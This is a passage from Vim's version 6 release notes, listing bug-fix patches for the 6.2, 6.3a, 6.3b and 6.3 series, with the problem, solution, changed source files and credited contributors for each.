fferent from 'encoding'. Solution: Use the "TAG_FILE_ENCODING" field in the tags file to specify the encoding of the tags. Convert help tags from 'encoding' to the tag file encoding when searching for matches, do the reverse when listing help tags.  (Gerfried Fuchs) Solution: Remove the _() around it. Files: src/main.c, src/memline.c Patch 6.2.513 (after 6.2.507) Problem: NetBeans: the check for owning the connection info file can be simplified. (Nikolay Molchanov) Solution: Only check if the access mode is right. Files: src/netbeans.c Patch 6.2.514 Problem: When a highlight/syntax group name contains invalid characters there is no warning. Solution: Add an error for unprintable characters and a warning for other invalid characters. Files: src/syntax.c Patch 6.2.515 Problem: When using the options window 'swapfile' is reset. Solution: Use ":setlocal" instead of ":set". Files: runtime/optwin.vim Patch 6.2.516 Problem: The sign column cannot be seen, looks like there are two spaces before the text. (Rob Retter) Solution: Add the SignColumn highlight group. Files: runtime/doc/options.txt, runtime/doc/sign.txt, src/option.c, src/screen.c, src/syntax.c, src/vim.h Patch 6.2.517 Problem: Using "r*" in Visual mode on multi-byte characters replaces too many characters. In Visual Block mode replacing with a multi-byte character doesn't work. Solution: Adjust the operator end for the difference in byte length of the original and the replaced character. Insert all bytes of a multi-byte character, take care of double-wide characters. Files: src/ops.c Patch 6.2.518 Problem: Last line of a window is not updated after using "J" and then "D". (Adri Verhoef) Solution: When no line is found below a change that doesn't need updating, update all lines below the change. Files: src/screen.c Patch 6.2.519 Problem: Mac: cannot read/write files in MacRoman format. Solution: Do internal conversion from/to MacRoman to/from utf-8 and latin1. (Eckehard Berns) Files: src/fileio.c Patch 6.2.520 (extra) Problem: The NSIS installer is outdated. Solution: Make it work with NSIS 2.0. Also include console executables for Win 95/98/ME and Win NT/2000/XP. Use LZWA compression. Use "/oname" to avoid having to rename files before running NSIS. Files: Makefile, nsis/gvim.nsi Patch 6.2.521 Problem: When using silent Ex mode the "changing a readonly file" warning is omitted but the one second wait isn't. (Yakov Lerner) Solution: Skip the delay when "silent_mode" is set. Files: src/misc1.c Patch 6.2.522 Problem: GUI: when changing 'cmdheight' in the gvimrc file the window layout is messed up. (Keith Dart) Solution: Skip updating the window layout when changing 'cmdheight' while still starting up. Files: src/option.c Patch 6.2.523 Problem: When loading a session and aborting when a swap file already exists, the user is left with useless windows. (Robert Webb) Solution: Load one file before creating the windows. Files: src/ex_docmd.c Patch 6.2.524 (extra, after 6.2.520) Problem: Win32: (un)installing gvimext.dll may fail if it was used. The desktop and start menu links are created for the current user instead of all users. Using the home directory as working directory for the links is a bad idea for multi-user systems. Cannot use Vim from the "Open With..." menu. Solution: Force a reboot if necessary. (Alejandro Lopez-Valencia) Also use macros for the directory of the source and runtime files. Use "CSIDL_COMMON_*" instead of "CSIDL_*" when possible. Do not specify a working directory in the links. Add Vim to the "Open With..." menu. (Giuseppe Bilotta) Files: nsis/gvim.nsi, src/dosinst.c, src/dosinst.h, src/uninstal.c Patch 6.2.525 Problem: When the history contains a very long line ":history" causes a crash. (Volker Kiefel) Solution: Shorten the history entry to fit it in one line. Files: src/ex_getln.c Patch 6.2.526 Problem: When s:lang is "ja" the Japanese menus are not used. Solution: Add 'encoding' to the language when there is no charset. Files: runtime/menu.vim Patch 6.2.527 Problem: The 2html script uses ":wincmd p", which breaks when using some autocommands. Solution: Remember the window numbers and jump to them with ":wincmd w". Also add XHTML support. (Panagiotis Issaris) Files: runtime/syntax/2html.vim Patch 6.2.528 Problem: NetBeans: Changes of the "~" command are not reported. Solution: Call netbeans_inserted() after performing "~". (Gordon Prieur) Also change NetBeans debugging to append to the log file. Also fix that "~" in Visual block mode changes too much if there are multi-byte characters. Files: src/nbdebug.c, src/normal.c, src/ops.c Patch 6.2.529 (extra) Problem: VisVim only works for Admin. Doing it for one user doesn't work. (Alexandre Gouraud) Solution: When registering the module fails, simply continue. Files: src/VisVim/VisVim.cpp Patch 6.2.530 Problem: Warning for missing prototype on the Amiga. Solution: Include time.h Files: src/version.c Patch 6.2.531 Problem: In silent ex mode no messages are given, which makes debugging very difficult. Solution: Do output messages when 'verbose' is set. Files: src/message.c, src/ui.c Patch 6.2.532 (extra) Problem: Compiling for Win32s with VC 4.1 doesn't work. Solution: Don't use CP_UTF8 if it's not defined. Don't use CSIDL_COMMON* when not defined. Files: src/dosinst.h, src/fileio.c Win32 console: After patch 6.2.398 Ex mode did not work. (Yasuhiro Matsumoto) Patch 6.3a.001 Problem: Win32: if testing for the "--binary" option fails, diff isn't used at all. Solution: Handle the "ok" flag properly. (Yasuhiro Matsumoto) Files: src/diff.c Patch 6.3a.002 Problem: NetBeans: An insert command from NetBeans beyond the end of a buffer crashes Vim. (Xavier de Gaye) Solution: Use a local pos_T structure for the position. Files: src/netbeans.c Patch 6.3a.003 Problem: E315 error with auto-formatting comments. (Henry Van Roessel) Solution: Pass the line number to same_leader(). Files: src/ops.c Patch 6.3a.004 Problem: Test32 fails on Windows XP for the DJGPP version. Renaming test11.out fails. Solution: Don't try renaming, create new files to use for the test. Files: src/testdir/test32.in, src/testdir/test32.ok Patch 6.3a.005 Problem: ":checkpath!" does not use 'includeexpr'. Solution: Use a file name that was found directly. When a file was not found and the located name is empty, use the rest of the line. Files: src/search.c Patch 6.3a.006 Problem: "yip" moves the cursor to the first yanked line, but not to the first column. Looks like not all text was yanked. (Jens Paulus) Solution: Move the cursor to the first column. Files: src/search.c Patch 6.3a.007 Problem: 'cindent' recognizes "enum" but not "typedef enum". Solution: Skip over "typedef" before checking for "enum". (Helmut Stiegler) Also avoid that searching for this item goes too far back. Files: src/misc1.c, src/testdir/test3.in, src/testdir/test3.ok Patch 6.3a.008 (extra) Problem: Windows 98: Some of the wide functions are not implemented, resulting in file I/O to fail. This depends on what Unicode support is installed. Solution: Handle the failure and fall back to non-wide functions. Files: src/os_win32.c Patch 6.3a.009 Problem: Win32: Completion of filenames does not work properly when 'encoding' differs from the active code page. Solution: Use wide functions for expanding wildcards when appropriate. Files: src/misc1.c Patch 6.3a.010 (extra) Problem: Win32: Characters in the window title that do not appear in the active codepage are replaced by a question mark. Solution: Use DefWindowProcW() instead of DefWindowProc() when possible. Files: src/glbl_ime.cpp, src/globals.h, src/proto/gui_w16.pro, src/proto/gui_w32.pro, src/gui_w16.c, src/gui_w32.c, src/gui_w48.c Patch 6.3a.011 Problem: Using the explorer plugin changes a local directory to the global directory. Solution: Don't use ":chdir" to restore the current directory. Make "expand('%:p')" remove "/../" and "/./" items from the path. Files: runtime/plugin/explorer.vim, src/eval.c, src/os_unix.c Patch 6.3a.012 (extra) Problem: On Windows 98 the installer doesn't work, don't even get the "I agree" button. The check for the path ending in "vim" makes the browse dialog hard to use. The default path when no previous Vim is installed is "c:\vim" instead of "c:\Program Files\Vim". Solution: Remove the background gradient command. Change the .onVerifyInstDir function to a leave function for the directory page. Don't let the install program default to c:\vim when no path could be found. Files: nsis/gvim.nsi, src/dosinst.c Patch 6.3a.013 (extra) Problem: Win32: Characters in the menu that are not in the active codepage are garbled. Solution: Convert menu strings from 'encoding' to the active codepage. Files: src/gui_w32.c, src/gui_w48.c Patch 6.3a.014 Problem: Using multi-byte text and highlighting in a statusline causes gaps to appear. (Helmut Stiegler) Solution: Advance the column by text width instead of number of bytes. Add the vim_strnsize() function. Files: src/charset.c, src/proto/charset.pro, src/screen.c Patch 6.3a.015 Problem: Using the "select all" menu item when 'insertmode' is set and clicking the mouse button doesn't return to Insert mode. The Buffers/Delete menu doesn't offer a choice to abandon a changed buffer. (Jens Paulus) Solution: Don't use CTRL-\ CTRL-N. Add ":confirm" for the Buffers menu items. Files: runtime/menu.vim Patch 6.3a.016 Problem: After cancelling the ":confirm" dialog the error message and hit-enter prompt may not be displayed properly. Solution: Flush output after showing the dialog. Files: src/message.c Patch 6.3a.017 Problem: servername() doesn't work when Vim was started with the "-X" argument or when the "exclude" in 'clipboard' matches the terminal name. (Robert Nowotniak) Solution: Force connecting to the X server when using client-server commands. Files: src/eval.c, src/globals.h, src/os_unix.c Patch 6.3a.018 (after 6.3a.017) Problem: Compiler warning for return value of make_connection(). Solution: Use void return type. Files: src/eval.c Patch 6.3a.019 (extra) Problem: Win32: typing non-latin1 characters doesn't work. Solution: Invoke _OnChar() directly to avoid that the argument is truncated to a byte. Convert the UTF-16 character to bytes according to 'encoding' and ignore 'termencoding'. Same for _OnSysChar(). Files: src/gui_w32.c, src/gui_w48.c Patch 6.3a.020 (extra) Problem: Missing support for AROS (AmigaOS reimplementation). Amiga GUI doesn't work. Solution: Add AROS support. (Adam Chodorowski) Fix Amiga GUI problems. (Georg Steger, Ali Akcaagac) Files: Makefile, src/Make_aros.mak, src/gui_amiga.c, src/gui_amiga.h, src/memfile.c, src/os_amiga.c, src/term.c Patch 6.3a.021 (after 6.3a.017) Problem: Can't compile with X11 but without GUI. Solution: Put use of "gui.in_use" inside an #ifdef. Files: src/eval.c Patch 6.3a.022 Problem: When typing Tabs when 'softtabstop' is used and 'list' is set a tab is counted for two spaces. Solution: Use the "L" flag in 'cpoptions' to tell whether a tab is counted as two spaces or as 'tabstop'. (Antony Scriven) Files: runtime/doc/options.txt, src/edit.c Patch 6.3a.023 Problem: Completion on the command line doesn't handle backslashes properly. Only the tail of matches is shown, even when not completing filenames. Solution: When turning the string into a pattern double backslashes. Don't omit the path when not expanding files or directories. Files: src/ex_getln.c Patch 6.3a.024 Problem: The "save all" toolbar item fails for buffers that don't have a name. When using ":wa" or closing the Vim window and there are nameless buffers, browsing for a name may cause the name being given to the wrong buffer or not stored properly. ":browse" only worked for one file. Solution: Use ":confirm browse" for "save all". Pass buffer argument to setfname(). Restore "browse" flag and "forceit" after doing the work for one file. Files: runtime/menu.vim, src/buffer.c, src/ex_cmds.c, src/ex_cmds2.c, src/ex_docmd.c, src/ex_getln.c, src/fileio.c, src/memline.c, src/message.c, src/window.c, src/proto/buffer.pro, src/proto/ex_cmds2.pro, src/proto/memline.pro Patch 6.3a.025 Problem: Setting 'virtualedit' moves the cursor. (Benji Fisher) Solution: Update the virtual column before using it. Files: src/option.c Patch 6.3a.026 (extra, after 6.3a.008) Problem: Editing files on Windows 98 doesn't work when 'encoding' is "utf-8" (Antoine Mechelynck) Warning for missing function prototype. Solution: For all wide functions check if it failed because it is not implemented. Use ANSI function declaration for char_to_string(). Files: src/gui_w48.c, src/os_mswin.c, src/os_win32.c Patch 6.3a.027 (extra, after 6.3a.026) Problem: Compiler warning for function argument. Solution: Declare both char and WCHAR arrays. Files: src/gui_w48.c Patch 6.3a.028 Problem: ":normal ." doesn't work inside a function, because redo is saved and restored. (Benji Fisher) Solution: Make a copy of the redo buffer when executing a function. Files: src/getchar.c Patch 6.3b.001 (extra) Problem: Bcc 5: The generated auto/pathdef can't be compiled. Solution: Fix the way quotes and backslashes are escaped. Files: src/Make_bc5.mak Patch 6.3b.002 Problem: Win32: conversion during file write fails when a double-byte character is split over two writes. Solution: Fix the conversion retry without a trailing byte. (Taro Muraoka) Files: src/fileio.c Patch 6.3b.003 (extra) Problem: Win32: When compiling with Borland C 5.5 and 'encoding' is "utf-8" then Vim can't open files under MS-Windows 98. (Antoine J. Mechelynck) Solution: Don't use _wstat(), _wopen() and _wfopen() in this situation. Files: src/os_mswin.c, src/os_win32.c Patch 6.3b.004 Problem: ":helpgrep" includes a trailing CR in the text line. Solution: Remove the CR. Files: src/quickfix.c Patch 6.3b.005 Problem: ":echo &g:ai" results in the local option value. (Salman Halim) Solution: Pass the flags from find_option_end() to get_option_value(). Files: src/eval.c Patch 6.3b.006 Problem: When using "mswin.vim", CTRL-V in Insert mode leaves cursor before last pasted character. (Mathew Davis) Solution: Use the same Paste() function as in menu.vim. Files: runtime/mswin.vim Patch 6.3b.007 Problem: Session file doesn't restore view on windows properly. (Robert Webb) Solution: Restore window sizes both before and after restoring the view, so that the view, cursor position and size are restored properly. Files: src/ex_docmd.c Patch 6.3b.008 Problem: Using ":finally" in a user command doesn't always work. (Hari Krishna Dara) Solution: Don't assume that using getexline() means the command was typed. Files: src/ex_docmd.c Patch 6.3b.009 (extra) Problem: Win32: When the -P argument is not found in a window title, there is no error message. Solution: When the window can't be found give an error message and exit. Also use try/except to catch failing to open the MDI window. (Michael Wookey) Files: src/gui_w32.c Patch 6.3b.010 Problem: Win32: Using the "-D" argument and expanding arguments may cause a hang, because the terminal isn't initialized yet. (Vince Negri) Solution: Don't go into debug mode before the terminal is initialized. Files: src/main.c Patch 6.3b.011 Problem: Using CTRL-\ e while obtaining an expression aborts the command line. (Hari Krishna Dara) Solution: Insert the CTRL-\ e as typed. Files: src/ex_getln.c Patch 6.3b.012 (after 6.3b.010) Problem: Can't compile with tiny features. (Norbert Tretkowski) Solution: Add #ifdefs. Files: src/main.c Patch 6.3b.013 Problem: Loading a session file results in editing the wrong file in the first window when this is not the file at the current position in the argument list. (Robert Webb) Solution: Check w_arg_idx_invalid to decide whether to edit a file. Files: src/ex_docmd.c Patch 6.3b.014 Problem: ":runtime! foo*.vim" may using freed memory when a sourced script changes the value of 'runtimepath'. Solution: Make a copy of 'runtimepath' when looping over the matches. Files: src/ex_cmds2.c Patch 6.3b.015 Problem: Get lalloc(0) error when using "p" in Visual mode while 'clipboard' contains "autoselect,unnamed". (Mark Wagonner) Solution: Avoid allocating zero bytes. Obtain the clipboard when necessary. Files: src/ops.c Patch 6.3b.016 Problem: When 'virtualedit' is used "x" doesn't delete the last character of a line that has as many characters as 'columns'. (Yakov Lerner) Solution: When the cursor isn't moved let oneright() return FAIL. Files: src/edit.c Patch 6.3b.017 Problem: Win32: "vim --remote-wait" doesn't exit when the server finished editing the file. (David Fishburn) Solution: In the rrhelper plugin change backslashes to forward slashes and escape special characters. Files: runtime/plugin/rrhelper.vim Patch 6.3b.018 Problem: The list of help files in the "local additions" table doesn't recognize utf-8 encoding. (Yasuhiro Matsumoto) Solution: Recognize utf-8 characters. Files: src/ex_cmds.c Patch 6.3b.019 Problem: When $VIMRUNTIME is not a full path name the "local additions" table lists all the help files. Solution: Use fullpathcmp() instead of fnamecmp() to compare the directory names. Files: src/ex_cmds.c Patch 6.3b.020 Problem: When using CTRL-^ when entering a search string, the item in the statusline that indicates the keymap is not updated. (Ilya Dogolazky) Solution: Mark the statuslines for updating. Files: src/ex_getln.c Patch 6.3b.021 Problem: The swapfile is not readable for others, the ATTENTION prompt does not show all info when someone else is editing the same file. (Marcel Svitalsky) Solution: Use the protection of original file for the swapfile and set it after creating the swapfile. Files: src/fileio.c Patch 6.3b.022 Problem: Using "4v" to select four times the old Visual area may put the cursor beyond the end of the line. (Jens Paulus) Solution: Correct the cursor column. Files: src/normal.c Patch 6.3b.023 Problem: When "3dip" starts in an empty line, white lines after the non-white lines are not deleted. (Jens Paulus) Solution: Include the white lines. Files: src/search.c Patch 6.3b.024 Problem: "2daw" does not delete leading white space like "daw" does. (Jens Paulus) Solution: Include the white space when a count is used. Files: src/search.c Patch 6.3b.025 Problem: Percentage in ruler isn't updated when a line is deleted. (Jens Paulus) Solution: Check for a change in line count when deciding to update the ruler. Files: src/screen.c, src/structs.h Patch 6.3b.026 Problem: When selecting "abort" at the ATTENTION prompt for a file that is already being edited Vim crashes. Solution: Don't abort creating a new buffer when we really need it. Files: src/buffer.c, src/vim.h Patch 6.3b.027 Problem: Win32: When enabling the menu in a maximized window, Vim uses more lines than what is room for. (Shizhu Pan) Solution: When deciding to call shell_resized(), also compare the text area size with Rows and Columns, not just with screen_Rows and screen_Columns. Files: src/gui.c Patch 6.3b.028 Problem: When in diff mode, setting 'rightleft' causes a crash. (Eddine) Solution: Check for last column differently when 'rightleft' is set. Files: src/screen.c Patch 6.3b.029 Problem: Win32: warning for uninitialized variable. Solution: Initialize to zero. Files: src/misc1.c Patch 6.3b.030 Problem: After Visually selecting four characters, changing it to other text, Visually selecting and yanking two characters: "." changes four characters, another "." changes two characters. (Robert Webb) Solution: Don't store the size of the Visual area when redo is active. Files: src/normal.c
VERSION 6.4 *version-6.4* This section is about improvements made between version 6.3 and 6.4. This is a bug-fix release. There are also a few new features. The major number of new items is in the runtime files and translations. The big MS-Windows version now uses: Ruby version 1.8.3 Perl version 5.8.7 Python version 2.4.2 Changed *changed-6.4* Removed runtime/tools/tcltags, Exuberant ctags does it better. Added *added-6.4* Alsaconf syntax file (Nikolai Weibull) Eruby syntax, indent, compiler and ftplugin file (Doug Kearns) Esterel syntax file (Maurizio Tranchero) Mathematica indent file (Steve Layland) Netrc syntax file (Nikolai Weibull) PHP compiler file (Doug Kearns) Pascal indent file (Neil Carter) Prescribe syntax file (Klaus Muth) Rubyunit compiler file (Doug Kearns) SMTPrc syntax file (Kornel Kielczewski) Sudoers syntax file (Nikolai Weibull) TPP syntax file (Gerfried Fuchs) VHDL ftplugin file (R. Shankar) Verilog-AMS syntax file (S. Myles Prather) Bulgarian keymap (Alberto Mardegan) Canadian keymap (Eric Joanis) Hungarian menu translations in UTF-8 (Kantra Gergely) Ukrainian menu translations (Bohdan Vlasyuk) Irish message translations (Kevin Patrick Scannell) Configure also checks for tclsh8.4. Fixed *fixed-6.4* "dFxd;" deleted the character under the cursor, "d;" didn't remember the exclusiveness of the motion. When using "set laststatus=2 cmdheight=2" in the .gvimrc you may only get one line for the cmdline. (Christian Robinson) Invoke command_height() after the GUI has started up. Gcc would warn "dereferencing type-punned pointer will break strict -aliasing rules". Avoid using typecasts for variable pointers. Gcc 3.x interprets the -MM argument differently. Change "-I /path" to "-isystem /path" for "make depend". Patch 6.3.001 Problem: ":browse split" gives the file selection dialog twice. (Gordon Bazeley) Same problem for ":browse diffpatch". Solution: Reset cmdmod.browse before calling do_ecmd(). Files: src/diff.c, src/ex_docmd.c Patch 6.3.002 Problem: When using translated help files with non-ASCII latin1 characters in the first line the utf-8 detection is wrong. Solution: Properly detect utf-8 characters. When a mix of encodings is detected continue with the next language and avoid a "no matches" error because of "got_int" being set. Add the directory name to the error message for a duplicate tag. Files: src/ex_cmds.c Patch 6.3.003 Problem: Crash when using a console dialog and the first choice does not have a default button. (Darin Ohashi) Solution: Allocate two more characters for the [] around the character for the default choice. Files: src/message.c Patch 6.3.004 Problem: When searching for a long string (140 chars in a 80 column terminal) get three hit-enter prompts. (Robert Webb) Solution: Avoid the hit-enter prompt when giving the message for wrapping around the end of the buffer. Don't give that message again when the string was not found. Files: src/message.c, src/search.c Patch 6.3.005 Problem: Crash when searching for a pattern with a character offset and starting in a closed fold. (Frank Butler) Solution: Check for the column to be past the end of the line. Also fix that a pattern with a character offset relative to the end isn't read back from the viminfo properly. Files: src/search.c Patch 6.3.006 Problem: ":breakadd file *foo" prepends the current directory to the file pattern. (Hari Krishna Dara) Solution: Keep the pattern as-is. Files: src/ex_cmds2.c Patch 6.3.007 Problem: When there is a buffer with 'buftype' set to "nofile" and using a ":cd" command, the swap file is not deleted when exiting. Solution: Use the full path of the swap file also for "nofile" buffers. Files: src/fileio.c Patch 6.3.008 Problem: Compiling fails under OS/2. Solution: Include "e_screenmode" also for OS/2. (David Sanders) Files: src/globals.h Patch 6.3.009 (after 6.3.006) Problem: ":breakadd file /path/foo.vim" does not match when a symbolic link is involved. (Servatius Brandt) Solution: Do expand the pattern when it does not start with "*". Files: runtime/doc/repeat.txt, src/ex_cmds2.c Patch 6.3.010 Problem: When writing to a named pipe there is an error for fsync() failing. Solution: Ignore the fsync() error for devices. Files: src/fileio.c Patch 6.3.011 Problem: Crash when the completion function of a user-command uses a "normal :cmd" command. (Hari Krishna Dara) Solution: Save the command line when invoking the completion function. Files: src/ex_getln.c Patch 6.3.012 Problem: Internal lalloc(0) error when using a complicated multi-line pattern in a substitute command. (Luc Hermitte) Solution: Avoid going past the end of a line. Files: src/ex_cmds.c Patch 6.3.013 Problem: Crash when editing a command line and typing CTRL-R = to evaluate a function that uses "normal :cmd". (Hari Krishna Dara) Solution: Save and restore the command line when evaluating an expression for CTRL-R =. Files: src/ex_getln.c, src/ops.c, src/proto/ex_getln.pro, src/proto/ops.pro Patch 6.3.014 Problem: When using Chinese or Taiwanese the default for 'helplang' is wrong. (Simon Liang) Solution: Use the part of the locale name after "zh_". Files: src/option.c Patch 6.3.015 Problem: The string that winrestcmd() returns may end in garbage. Solution: NUL-terminate the string. (Walter Briscoe) Files: src/eval.c Patch 6.3.016 Problem: The default value for 'define' has "\s" before '#'. Solution: Add a star after "\s". (Herculano de Lima Einloft Neto) Files: src/option.c Patch 6.3.017 Problem: "8zz" may leave the cursor beyond the end of the line. (Niko Maatjes) Solution: Correct the cursor column after moving to another line. Files: src/normal.c Patch 6.3.018 Problem: ":0argadd zero" added the argument after the first one, instead of before it. (Adri Verhoef) Solution: Accept a zero range for ":argadd". Files: src/ex_cmds.h Patch 6.3.019 Problem: Crash in startup for debug version. (David Rennals) Solution: Move the call to nbdebug_wait() to after allocating NameBuff. Files: src/main.c Patch 6.3.020 Problem: When 'encoding' is "utf-8" and 'delcombine' is set, "dw" does not delete a word but only a combining character of the first character, if there is one. (Raphael Finkel) Solution: Correctly check that one character is being deleted. Files: src/misc1.c Patch 6.3.021 Problem: When the last character of a file name is a multi-byte character and the last byte is a path separator, the file cannot be edited. Solution: Check for the last byte to be part of a multi-byte character. (Taro Muraoka) Files: src/fileio.c Patch 6.3.022 (extra) Problem: Win32: When the last character of a file name is a multi-byte character and the last byte is a path separator, the file cannot be written. A trail byte that is a space makes that a file cannot be opened from the command line. Solution: Recognize double-byte characters when parsing the command line. In mch_stat() check for the last byte to be part of a multi-byte character. (Taro Muraoka) Files: src/gui_w48.c, src/os_mswin.c Patch 6.3.023 Problem: When the "to" part of a mapping starts with its "from" part, abbreviations for the same characters is not possible. For example, when <Space> is mapped to something that starts with a space, typing <Space> does not expand abbreviations. Solution: Only disable expanding abbreviations when a mapping is not remapped, don't disable it when the RHS of a mapping starts with the LHS. Files: src/getchar.c, src/vim.h Patch 6.3.024 Problem: In a few places a string in allocated memory is not terminated with a NUL. Solution: Add ga_append(NUL) in script_get(), gui_do_findrepl() and serverGetVimNames(). Files: src/ex_getln.c, src/gui.c, src/if_xcmdsrv.c, src/os_mswin.c Patch 6.3.025 (extra) Problem: Missing NUL for list of server names. Solution: Add ga_append(NUL) in serverGetVimNames(). Files: src/os_mswin.c Patch 6.3.026 Problem: When ~/.vim/after/syntax/syncolor.vim contains a command that reloads the colors an endless loop and/or a crash may occur. Solution: Only free the old value of an option when it was originally allocated. Limit recursiveness of init_highlight() to 5 levels. Files: src/option.c, src/syntax.c Patch 6.3.027 Problem: VMS: Writing a file may insert extra CR characters. Not all terminals are recognized correctly. Vt320 doesn't support colors. Environment variables are not expanded correctly. Solution: Use another method to write files. Add vt320 termcap codes for colors. (Zoltan Arpadffy) Files: src/fileio.c, src/misc1.c, src/os_unix.c, src/structs.h, src/term.c Patch 6.3.028 Problem: When appending to a file the BOM marker may be written. (Alex Jakushev) Solution: Do not write the BOM marker when appending. Files: src/fileio.c Patch 6.3.029 Problem: Crash when inserting a line break. (Walter Briscoe) Solution: In the syntax highlighting code, don't use an old state after a change was made, current_col may be past the end of the line. Files: src/syntax.c Patch 6.3.030 Problem: GTK 2: Crash when sourcing a script that deletes the menus, sets 'encoding' to "utf-8" and loads the menus again. GTK error message when tooltip text is in a wrong encoding. Solution: Don't copy characters from the old screen to the new screen when switching 'encoding' to utf-8, they may be invalid. Only set the tooltip when it is valid utf-8. Files: src/gui_gtk.c, src/mbyte.c, src/proto/mbyte.pro, src/screen.c Patch 6.3.031 Problem: When entering a mapping and pressing Tab halfway the command line isn't redrawn properly. (Adri Verhoef) Solution: Reposition the cursor after drawing over the "..." of the completion attempt. Files: src/ex_getln.c Patch 6.3.032 Problem: Using Python 2.3 with threads doesn't work properly. Solution: Release the lock after initialization. Files: src/if_python.c Patch 6.3.033 Problem: When a mapping ends in a Normal mode command of more than one character Vim doesn't return to Insert mode. Solution: Check that the mapping has ended after obtaining all characters of the Normal mode command. Files: src/normal.c Patch 6.3.034 Problem: VMS: crash when using ":help". Solution: Avoid using "tags-??", some Open VMS systems can't handle the "?" wildcard. (Zoltan Arpadffy) Files: src/tag.c Patch 6.3.035 (extra) Problem: RISC OS: Compile errors. Solution: Change e_screnmode to e_screenmode. Change the way __riscosify_control is set. Improve the makefile. (Andy Wingate) Files: src/os_riscos.c, src/search.c, src/Make_ro.mak Patch 6.3.036 Problem: ml_get errors when the whole file is a fold, switching 'foldmethod' and doing "zj". (Christian J. Robinson) Was not deleting the fold but creating a fold with zero lines. Solution: Delete the fold properly. Files: src/fold.c Patch 6.3.037 (after 6.3.032) Problem: Warning for unused variable. Solution: Change the #ifdefs for the saved thread stuff. Files: src/if_python.c Patch 6.3.038 (extra) Problem: Win32: When the "file changed" dialog pops up after a click that gives gvim focus and not moving the mouse after that, the effect of the click may occur when moving the mouse later. (Ken Clark) Happened because the release event was missed. Solution: Clear the s_button_pending variable when any input is received. Files: src/gui_w48.c Patch 6.3.039 Problem: When 'number' is set and inserting lines just above the first displayed line (in another window on the same buffer), the line numbers are not updated. (Hitier Sylvain) Solution: When 'number' is set and lines are inserted/deleted redraw all lines below the change. Files: src/screen.c Patch 6.3.040 Problem: Error handling does not always work properly and may cause a buffer to be marked as if it's viewed in a window while it isn't. Also when selecting "Abort" at the attention prompt. Solution: Add enter_cleanup() and leave_cleanup() functions to move saving/restoring things for error handling to one place. Clear a buffer read error when it's unloaded. Files: src/buffer.c, src/ex_docmd.c, src/ex_eval.c, src/proto/ex_eval.pro, src/structs.h, src/vim.h Patch 6.3.041 (extra) Problem: Win32: When the path to a file has Russian characters, ":cd %:p:h" doesn't work. (Valery Kondakoff) Solution: Use a wide function to change directory. Files: src/os_mswin.c Patch 6.3.042 Problem: When there is a closed fold at the top of the window, CTRL-X CTRL-E in Insert mode reduces the size of the fold instead of scrolling the text up. (Gautam) Solution: Scroll over the closed fold. Files: src/move.c Patch 6.3.043 Problem: 'hlsearch' highlighting sometimes disappears when inserting text in PHP code with syntax highlighting. (Marcel Svitalsky) Solution: Don't use pointers to remember where a match was found, use an index. The pointers may become invalid when searching in other lines. Files: src/screen.c Patch 6.3.044 (extra) Problem: Mac: When 'linespace' is non-zero the Insert mode cursor leaves pixels behind. (Richard Sandilands) Solution: Erase the character cell before drawing the text when needed. Files: src/gui_mac.c Patch 6.3.045 Problem: Unusual characters in an option value may cause unexpected behavior, especially for a modeline. (Ciaran McCreesh) Solution: Don't allow setting termcap options or 'printdevice' in a modeline. Don't list options for "termcap" and "all" in a modeline. Don't allow unusual characters in 'filetype', 'syntax', 'backupext', 'keymap', 'patchmode' and 'langmenu'. Files: src/option.c, runtime/doc/options.txt Patch 6.3.046 Problem: ":registers" doesn't show multi-byte characters properly. (Valery Kondakoff) Solution: Get the length of each character before displaying it. Files: src/ops.c Patch 6.3.047 (extra) Problem: Win32 with Borland C 5.5 on Windows XP: A new file is created with read-only attributes. (Tony Mechelynck) Solution: Don't use the _wopen() function for Borland. Files: src/os_win32.c Patch 6.3.048 (extra) Problem: Build problems with VMS on IA64. Solution: Add dependencies to the build file. (Zoltan Arpadffy) Files: src/Make_vms.mms Patch 6.3.049 (after 6.3.045) Problem: Compiler warning for "char" vs "char_u" mixup. (Zoltan Arpadffy) Solution: Add a typecast. Files: src/option.c Patch 6.3.050 Problem: When SIGHUP is received while busy exiting, non-reentrant functions such as free() may cause a crash. Solution: Ignore SIGHUP when exiting because of an error. (Scott Anderson) Files: src/misc1.c, src/main.c Patch 6.3.051 Problem: When 'wildmenu' is set and completed file names contain multi-byte characters Vim may crash. Solution: Reserve room for multi-byte characters. (Yasuhiro Matsumoto) Files: src/screen.c Patch 6.3.052 (extra) Problem: Windows 98: typed keys that are not ASCII may not work properly. For example with a Russian input method. (Jiri Jezdinsky) Solution: Assume that the characters arrive in the current codepage instead of UCS-2. Perform conversion based on that. Files: src/gui_w48.c Patch 6.3.053 Problem: Win32: ":loadview" cannot find a file with non-ASCII characters. (Valerie Kondakoff) Solution: Use mch_open() instead of open() to open the file. Files: src/ex_cmds2.c Patch 6.3.054 Problem: When 'insertmode' is set <C-L>4ixxx<C-L> hangs Vim. (Jens Paulus) Vim is actually still working but redraw is disabled. Solution: When stopping Insert mode with CTRL-L don't put an Esc in the redo buffer but a CTRL-L. Files: src/edit.c Patch 6.3.055 (after 6.3.013) Problem: Can't use getcmdline(), getcmdpos() or setcmdpos() with <C-R>= when editing a command line. Using <C-\>e may crash Vim. (Peter Winters) Solution: When moving ccline out of the way for recursive use, make it available to the functions that need it. Also save and restore ccline when calling get_expr_line(). Make ccline.cmdbuf NULL at the end of getcmdline(). Files: src/ex_getln.c Patch 6.3.056 Problem: The last characters of a multi-byte file name may not be displayed in the window title. Solution: Avoid to remove a multi-byte character where the last byte looks like a path separator character. (Yasuhiro Matsumoto) Files: src/buffer.c, src/ex_getln.c Patch 6.3.057 Problem: When filtering lines folds are not updated. (Carl Osterwisch) Solution: Update folds for filtered lines. Files: src/ex_cmds.c Patch 6.3.058 Problem: When 'foldcolumn' is equal to the window width and 'wrap' is on Vim may crash. Disabling the vertical split feature breaks compiling. (Peter Winters) Solution: Check for zero room for wrapped text. Make compiling without vertical splits possible. Files: src/move.c, src/quickfix.c, src/screen.c, src/netbeans.c Patch 6.3.059 Problem: Crash when expanding an ":edit" command containing several spaces with the shell. (Brian Hirt) Solution: Allocate enough space for the quotes. Files: src/os_unix.c Patch 6.3.060 Problem: Using CTRL-R CTRL-O in Insert mode with an invalid register name still causes something to be inserted. Solution: Check the register name for being valid. Files: src/edit.c Patch 6.3.061 Problem: When editing a utf-8 file in an utf-8 xterm and there is a multi-byte character in the last column, displaying is messed up. (Jo Solution: Check for a multi-byte character, not a multi-column character. Files: src/screen.c Patch 6.3.062 Problem: ":normal! gQ" hangs. Solution: Quit getcmdline() and do_exmode() when out of typeahead. Files: src/ex_getln.c, src/ex_docmd.c Patch 6.3.063 Problem: When a CursorHold 